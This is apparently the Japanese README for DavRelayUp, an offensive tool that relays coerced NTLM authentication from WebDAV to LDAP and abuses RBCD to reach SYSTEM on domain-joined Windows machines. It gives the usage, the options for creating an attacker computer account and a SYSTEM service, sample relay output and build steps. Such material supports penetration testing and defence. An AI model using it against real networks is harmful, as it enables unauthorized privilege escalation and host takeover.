KrbRelayUp の簡易移植版で、NTLMリレーをWebDAVからLDAPへ行うための修正を加え、以下の攻撃プリミティブの悪用を効率化します:
これは、LDAP署名が強制されていない(デフォルト設定)ドメイン参加済みWindowsワークステーションにおいて、実質的に修正不要のユニバーサルなローカル権限昇格です。
DavRelayUp - Relaying you to SYSTEM, again...
Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]
RBCD Options:
-c (--CreateNewComputerAccount) RBCD用の新しいコンピュータアカウントを作成します。現在認証されているユーザーを使用します。
-cn (--ComputerName) RBCD用の攻撃者が所有するコンピュータアカウントの名前。(デフォルト=DAVRELAYUP$)
-cp (--ComputerPassword) RBCD用のコンピュータアカウントのパスワード。(デフォルト=RANDOM [-cが有効な場合])
-ch (--ComputerPasswordHash) RBCD用のコンピュータアカウントのパスワードNTハッシュ。(-cpまたは-chのいずれかを指定)
-i (--Impersonate) 権限昇格対象のユーザー。ターゲットコンピュータのローカル管理者である必要があります。(デフォルト=Administrator)
KrbSCM Options:
-s (--ServiceName) 作成するサービスの名前。(デフォルト=KrbSCM)
-sc (--ServiceCommand) サービスのコマンド [binPath]。(デフォルト = SYSTEMとしてcmd.exeを起動)
一般オプション:
-p (--Port) WebDAVサーバーのポート(デフォルト=55555)
-d (--Domain) ドメインのFQDN。(オプション)
-dc (--DomainController) ドメインコントローラのFQDN。(オプション)
-ssl LDAP over SSLを使用します。(オプション)
-n STをインポートする際に、PTTの代わりにCreateNetOnly(ディスク上に必要)を使用します。(オプション)
-v (--Verbose) 詳細な出力を表示します。(オプション)
-h (--Help) ヘルプを表示
DavRelayUpが以下のステージのいずれかで停止した場合、[-p]フラグで別のポートを指定してみてください。
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go